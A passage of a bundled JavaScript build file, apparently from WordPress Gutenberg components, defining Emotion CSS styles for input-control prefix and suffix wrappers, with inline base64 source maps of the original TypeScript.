2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */",
24647 toString: _EMOTION_STRINGIFIED_CSS_ERROR__6
24648 });
24649 var prefixSuffixWrapperStyles = ({
24650 variant = "default",
24651 size: size3,
24652 __next40pxDefaultSize,
24653 isPrefix
24654 }) => {
24655 const {
24656 paddingLeft: padding2
24657 } = getSizeConfig({
24658 inputSize: size3,
24659 __next40pxDefaultSize
24660 });
24661 const paddingProperty = isPrefix ? "paddingInlineStart" : "paddingInlineEnd";
24662 if (variant === "default") {
24663 return /* @__PURE__ */ css({
24664 [paddingProperty]: padding2
24665 }, false ? "" : ";label:prefixSuffixWrapperStyles;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEyVlMiLCJmaWxlIjoiaW5wdXQtY29udHJvbC1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHR5cGUgeyBDU1NQcm9wZXJ0aWVzLCBSZWFjdE5vZGUgfSBmcm9tICdyZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IEZsZXgsIEZsZXhJdGVtIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHR5cGUgeyBMYWJlbFBvc2l0aW9uLCBTaXplLCBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbnR5cGUgQ29udGFpbmVyUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aGlkZUxhYmVsPzogYm9vbGVhbjtcblx0X191bnN0YWJsZUlucHV0V2lkdGg/OiBDU1NQcm9wZXJ0aWVzWyAnd2lkdGgnIF07XG5cdGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uO1xufTtcblxuZXhwb3J0IGNvbnN0IFByZWZpeCA9IHN0eWxlZC5zcGFuYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBTdWZmaXggPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YWxpZ24tc2VsZjogc3RyZXRjaDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbnR5cGUgQmFja2Ryb3BQcm9wcyA9IHtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpc0JvcmRlcmxlc3M/OiBib29sZWFuO1xufTtcblxuY29uc3QgYmFja2Ryb3BCb3JkZXJDb2xvciA9ICgge1xuXHRkaXNhYmxlZCxcblx0aXNCb3JkZXJsZXNzLFxufTogQmFja2Ryb3BQcm9wcyApOiBDU1NQcm9wZXJ0aWVzWyAnYm9yZGVyQ29sb3InIF0gPT4ge1xuXHRpZiAoIGlzQm9yZGVybGVzcyApIHtcblx0XHRyZXR1cm4gJ3RyYW5zcGFyZW50Jztcblx0fVxuXG5cdGlmICggZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuIENPTE9SUy51aS5ib3JkZXJEaXNhYmxlZDtcblx0fVxuXG5cdHJldHVybiBDT0xPUlMudWkuYm9yZGVyO1xufTtcblxuZXhwb3J0IGNvbnN0IEJhY2tkcm9wVUkgPSBzdHlsZWQuZGl2PCBCYWNrZHJvcFByb3BzID5gXG5cdCYmJiB7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXItY29sb3I6ICR7IGJhY2tkcm9wQm9yZGVyQ29sb3IgfTtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJvcmRlci1zdHlsZTogc29saWQ7XG5cdFx0Ym9yZGVyLXdpZHRoOiAxcHg7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGxlZnQ6IDA7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHRvcDogMDtcblxuXHRcdCR7IHJ0bCggeyBwYWRkaW5nTGVmdDogMiB9ICkgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZCggRmxleCApYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRwYWRkaW5nLXRvcDogMDtcblxuXHQvLyBGb2N1cyB3aXRoaW4sIGV4Y2x1ZGluZyBjYXNlcyB3aGVyZSBhdXhpbGlhcnkgY29udHJvbHMgaW4gcHJlZml4IG9yIHN1ZmZpeCBoYXZlIGZvY3VzLlxuXHQmOmZvY3VzLXdpdGhpbjpub3QoIDpoYXMoIDppcyggJHsgUHJlZml4IH0sICR7IFN1ZmZpeCB9ICk6Zm9jdXMtd2l0aGluICkgKSB7XG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRib3gtc2hhZG93OiAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5cdFx0XHQvLyBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSB3aWxsIHNob3cgdGhpcyBvdXRsaW5lLCBidXQgbm90IHRoZSBib3gtc2hhZG93LlxuXHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IC0ycHg7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBjb250YWluZXJEaXNhYmxlZFN0eWxlcyA9ICggeyBkaXNhYmxlZCB9OiBDb250YWluZXJQcm9wcyApID0+IHtcblx0Y29uc3QgYmFja2dyb3VuZENvbG9yID0gZGlzYWJsZWRcblx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHQ6IENPTE9SUy51aS5iYWNrZ3JvdW5kO1xuXG5cdHJldHVybiBjc3MoIHsgYmFja2dyb3VuZENvbG9yIH0gKTtcbn07XG5cbmNvbnN0IGNvbnRhaW5lcldpZHRoU3R5bGVzID0gKCB7XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoLFxuXHRsYWJlbFBvc2l0aW9uLFxufTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGlmICggISBfX3Vuc3RhYmxlSW5wdXRXaWR0aCApIHtcblx0XHRyZXR1cm4gY3NzKCB7IHdpZHRoOiAnMTAwJScgfSApO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnc2lkZScgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnZWRnZScgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmxleDogYDAgMCAkeyBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9YCxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7IHdpZHRoOiBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgQ29udGFpbmVyID0gc3R5bGVkLmRpdjwgQ29udGFpbmVyUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleDogMTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCR7IGNvbnRhaW5lckRpc2FibGVkU3R5bGVzIH1cblx0JHsgY29udGFpbmVyV2lkdGhTdHlsZXMgfVxuYDtcblxudHlwZSBJbnB1dFByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU/OiBib29sZWFuO1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGlucHV0U2l6ZT86IFNpemU7XG5cdGlzRHJhZ2dpbmc/OiBib29sZWFuO1xuXHRkcmFnQ3Vyc29yPzogQ1NTUHJvcGVydGllc1sgJ2N1cnNvcicgXTtcblx0cGFkZGluZ0lubGluZVN0YXJ0PzogQ1NTUHJvcGVydGllc1sgJ3BhZGRpbmdJbmxpbmVTdGFydCcgXTtcblx0cGFkZGluZ0lubGluZUVuZD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lRW5kJyBdO1xufTtcblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogSW5wdXRQcm9wcyApID0+IHtcblx0aWYgKCAhIGRpc2FibGVkICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogQ09MT1JTLnVpLnRleHREaXNhYmxlZCxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IGZvbnRTaXplU3R5bGVzID0gKCB7IGlucHV0U2l6ZTogc2l6ZSB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMTNweCcsXG5cdFx0c21hbGw6ICcxMXB4Jyxcblx0XHRjb21wYWN0OiAnMTNweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMTNweCcsXG5cdH07XG5cblx0Y29uc3QgZm9udFNpemUgPSBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcblx0Y29uc3QgZm9udFNpemVNb2JpbGUgPSAnMTZweCc7XG5cblx0aWYgKCAhIGZvbnRTaXplICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3NgXG5cdFx0Zm9udC1zaXplOiAkeyBmb250U2l6ZU1vYmlsZSB9O1xuXG5cdFx0QG1lZGlhICggbWluLXdpZHRoOiA2MDBweCApIHtcblx0XHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemUgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgZ2V0U2l6ZUNvbmZpZyA9ICgge1xuXHRpbnB1dFNpemU6IHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdC8vIFBhZGRpbmdzIG1heSBiZSBvdmVycmlkZGVuIGJ5IHRoZSBjdXN0b20gcGFkZGluZ3MgcHJvcHMuXG5cdGNvbnN0IHNpemVzID0ge1xuXHRcdGRlZmF1bHQ6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdFx0c21hbGw6IHtcblx0XHRcdGhlaWdodDogMjQsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAyNCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdGNvbXBhY3Q6IHtcblx0XHRcdGhlaWdodDogMzIsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiAzMixcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1hTbWFsbCxcblx0XHR9LFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzoge1xuXHRcdFx0aGVpZ2h0OiA0MCxcblx0XHRcdGxpbmVIZWlnaHQ6IDEsXG5cdFx0XHRtaW5IZWlnaHQ6IDQwLFxuXHRcdFx0cGFkZGluZ0xlZnQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0XHRwYWRkaW5nUmlnaHQ6IENPTkZJRy5jb250cm9sUGFkZGluZ1gsXG5cdFx0fSxcblx0fTtcblxuXHRpZiAoICEgX19uZXh0NDBweERlZmF1bHRTaXplICkge1xuXHRcdHNpemVzLmRlZmF1bHQgPSBzaXplcy5jb21wYWN0O1xuXHR9XG5cblx0cmV0dXJuIHNpemVzWyBzaXplIGFzIFNpemUgXSB8fCBzaXplcy5kZWZhdWx0O1xufTtcblxuY29uc3Qgc2l6ZVN0eWxlcyA9ICggcHJvcHM6IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIGdldFNpemVDb25maWcoIHByb3BzICkgKTtcbn07XG5cbmNvbnN0IGN1c3RvbVBhZGRpbmdzID0gKCB7XG5cdHBhZGRpbmdJbmxpbmVTdGFydCxcblx0cGFkZGluZ0lubGluZUVuZCxcbn06IElucHV0UHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHsgcGFkZGluZ0lubGluZVN0YXJ0LCBwYWRkaW5nSW5saW5lRW5kIH0gKTtcbn07XG5cbmNvbnN0IGRyYWdTdHlsZXMgPSAoIHsgaXNEcmFnZ2luZywgZHJhZ0N1cnNvciB9OiBJbnB1dFByb3BzICkgPT4ge1xuXHRsZXQgZGVmYXVsdEFycm93U3R5bGVzOiBTZXJpYWxpemVkU3R5bGVzIHwgdW5kZWZpbmVkO1xuXHRsZXQgYWN0aXZlRHJhZ0N1cnNvclN0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblxuXHRpZiAoIGlzRHJhZ2dpbmcgKSB7XG5cdFx0ZGVmYXVsdEFycm93U3R5bGVzID0gY3NzYFxuXHRcdFx0Y3Vyc29yOiAkeyBkcmFnQ3Vyc29yIH07XG5cdFx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblxuXHRcdFx0Jjo6LXdlYmtpdC1vdXRlci1zcGluLWJ1dHRvbixcblx0XHRcdCY6Oi13ZWJraXQtaW5uZXItc3Bpbi1idXR0b24ge1xuXHRcdFx0XHQtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmUgIWltcG9ydGFudDtcblx0XHRcdFx0bWFyZ2luOiAwICFpbXBvcnRhbnQ7XG5cdFx0XHR9XG5cdFx0YDtcblx0fVxuXG5cdGlmICggaXNEcmFnZ2luZyAmJiBkcmFnQ3Vyc29yICkge1xuXHRcdGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgPSBjc3NgXG5cdFx0XHQmOmFjdGl2ZSB7XG5cdFx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGRlZmF1bHRBcnJvd1N0eWxlcyB9XG5cdFx0JHsgYWN0aXZlRHJhZ0N1cnNvclN0eWxlcyB9XG5cdGA7XG59O1xuXG4vLyBUT0RPOiBSZXNvbHZlIG5lZWQgdG8gdXNlICYmJiB0byBpbmNyZWFzZSBzcGVjaWZpY2l0eVxuLy8gaHR0cHM6Ly9naXRodWIuY29tL1dvcmRQcmVzcy9ndXRlbmJlcmcvaXNzdWVzLzE4NDgzXG5cbmV4cG9ydCBjb25zdCBJbnB1dCA9IHN0eWxlZC5pbnB1dDwgSW5wdXRQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0XHRtYXJnaW46IDA7XG5cdFx0b3V0bGluZTogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblxuXHRcdCR7IGRyYWdTdHlsZXMgfVxuXHRcdCR7IGRpc2FibGVkU3R5bGVzIH1cblx0XHQkeyBmb250U2l6ZVN0eWxlcyB9XG5cdFx0JHsgc2l6ZVN0eWxlcyB9XG5cdFx0JHsgY3VzdG9tUGFkZGluZ3MgfVxuXG5cdFx0Jjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCZbdHlwZT0nZW1haWwnXSxcblx0XHQmW3R5cGU9J3VybCddIHtcblx0XHRcdC8qIHJ0bDppZ25vcmUgKi9cblx0XHRcdGRpcmVjdGlvbjogbHRyO1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgQmFzZUxhYmVsID0gc3R5bGVkKCBUZXh0ICk8IHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb24gfSA+YFxuXHQmJiYge1xuXHRcdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0cGFkZGluZy1ib3R0b206IDA7XG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXHRcdHotaW5kZXg6IDE7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBMYWJlbCA9IChcblx0cHJvcHM6IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzPFxuXHRcdHsgbGFiZWxQb3NpdGlvbj86IExhYmVsUG9zaXRpb247IGNoaWxkcmVuOiBSZWFjdE5vZGUgfSxcblx0XHQnbGFiZWwnLFxuXHRcdGZhbHNlXG5cdD5cbikgPT4gPEJhc2VMYWJlbCB7IC4uLnByb3BzIH0gYXM9XCJsYWJlbFwiIC8+O1xuXG5leHBvcnQgY29uc3QgTGFiZWxXcmFwcGVyID0gc3R5bGVkKCBGbGV4SXRlbSApYFxuXHRtYXgtd2lkdGg6IGNhbGMoIDEwMCUgLSAxMHB4ICk7XG5gO1xuXG5jb25zdCBwcmVmaXhTdWZmaXhXcmFwcGVyU3R5bGVzID0gKCB7XG5cdHZhcmlhbnQgPSAnZGVmYXVsdCcsXG5cdHNpemUsXG5cdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0aXNQcmVmaXgsXG59OiBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgJiB7IGlzUHJlZml4PzogYm9vbGVhbiB9ICkgPT4ge1xuXHRjb25zdCB7IHBhZGRpbmdMZWZ0OiBwYWRkaW5nIH0gPSBnZXRTaXplQ29uZmlnKCB7XG5cdFx0aW5wdXRTaXplOiBzaXplLFxuXHRcdF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSxcblx0fSApO1xuXG5cdGNvbnN0IHBhZGRpbmdQcm9wZXJ0eSA9IGlzUHJlZml4XG5cdFx0PyAncGFkZGluZ0lubGluZVN0YXJ0J1xuXHRcdDogJ3BhZGRpbmdJbmxpbmVFbmQnO1xuXG5cdGlmICggdmFyaWFudCA9PT0gJ2RlZmF1bHQnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcsXG5cdFx0fSApO1xuXHR9XG5cblx0Ly8gSWYgdmFyaWFudCBpcyAnaWNvbicgb3IgJ2NvbnRyb2wnXG5cdHJldHVybiBjc3MoIHtcblx0XHRkaXNwbGF5OiAnZmxleCcsXG5cdFx0WyBwYWRkaW5nUHJvcGVydHkgXTogcGFkZGluZyAtIDQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXhTdWZmaXhXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0JHsgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyB9XG5gO1xuIl19 */");
24666 }
24667 return /* @__PURE__ */ css({
24668 display: "flex",
24669 [paddingProperty]: padding2 - 4
24670 }, false ? "" : ";label:prefixSuffixWrapperStyles;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFpV1EiLCJmaWxlIjoiaW5wdXQtY29udHJvbC1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHR5cGUgeyBDU1NQcm9wZXJ0aWVzLCBSZWFjdE5vZGUgfSBmcm9tICdyZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IEZsZXgsIEZsZXhJdGVtIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHR5cGUgeyBMYWJlbFBvc2l0aW9uLCBTaXplLCBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbnR5cGUgQ29udGFpbmVyUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aGlkZUxhYmVsPzogYm9vbGVhbjtcblx0X191bnN0YWJsZUlucHV0V2lkdGg/OiBDU1NQcm9wZXJ0aWVzWyAnd2lkdGgnIF07XG5cdGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uO1xufTtcblxuZXhwb3J0IGNvbnN0IFByZWZpeCA9IHN0eWxlZC5zcGFuYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBTdWZmaXggPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YWxpZ24tc2VsZjogc3RyZXRjaDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbnR5cGUgQmFja2Ryb3BQcm9wcyA9IHtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpc0JvcmRlcmxlc3M/OiBib29sZWFuO1xufTtcblxuY29uc3QgYmFja2Ryb3BCb3JkZXJDb2xvciA9ICgge1xuXHRkaXNhYmxlZCxcblx0aXNCb3JkZXJsZXNzLFxufTogQmFja2Ryb3BQcm9wcyApOiBDU1NQcm9wZXJ0aWVzWyAnYm9yZGVyQ29sb3InIF0gPT4ge1xuXHRpZiAoIGlzQm9yZGVybGVzcyApIHtcblx0XHRyZXR1cm4gJ3RyYW5zcGFyZW50Jztcblx0fVxuXG5cdGlmICggZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuIENPTE9SUy51aS5ib3JkZXJEaXNhYmxlZDtcblx0fVxuXG5cdHJldHVybiBDT0xPUlMudWkuYm9yZGVyO1xufTtcblxuZXhwb3J0IGNvbnN0IEJhY2tkcm9wVUkgPSBzdHlsZWQuZGl2PCBCYWNrZHJvcFByb3BzID5gXG5cdCYmJiB7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXItY29sb3I6ICR7IGJhY2tkcm9wQm9yZGVyQ29sb3IgfTtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJvcmRlci1zdHlsZTogc29saWQ7XG5cdFx0Ym9yZGVyLXdpZHRoOiAxcHg7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGxlZnQ6IDA7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHRvcDogMDtcblxuXHRcdCR7IHJ0bCggeyBwYWRkaW5nTGVmdDogMiB9ICkgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZCggRmxleCApYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRwYWRkaW5nLXRvcDogMDtcblxuXHQvLyBGb2N1cyB3aXRoaW4sIGV4Y2x1ZGluZyBjYXNlcyB3aGVyZSBhdXhpbGlhcnkgY29udHJvbHMgaW4gcHJlZml4IG9yIHN1ZmZpeCBoYXZlIGZvY3VzLlxuXHQmOmZvY3VzLXdpdGhpbjpub3QoIDpoYXMoIDppcyggJHsgUHJlZml4IH0sICR7IFN1ZmZpeCB9ICk6Zm9jdXMtd2l0aGluICkgKSB7XG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcm